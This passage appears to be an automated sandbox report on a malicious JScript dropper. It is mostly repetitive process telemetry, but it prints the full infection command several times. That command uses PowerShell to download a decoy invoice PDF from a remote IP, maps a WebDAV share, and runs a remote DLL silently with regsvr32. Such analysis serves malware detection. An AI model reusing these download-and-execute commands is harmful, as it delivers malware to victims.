Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\294.js.csv");ITextStream.WriteLine(" entry:7823 f:lamipbrjb");ITextStream.WriteLine(" exec:2 f:lamipbrjb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3518			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5912			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep count: 3518 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1264	Thread sleep count: 5912 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4196	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6556	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7084	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5044	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7424	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2100729574.000001D12261F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: net.exe, 00000007.00000002.2100729574.000001D1225B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100729574.000001D12261F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3323256633.000002066042B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3324733814.0000020665A5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3324666141.0000020665A42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
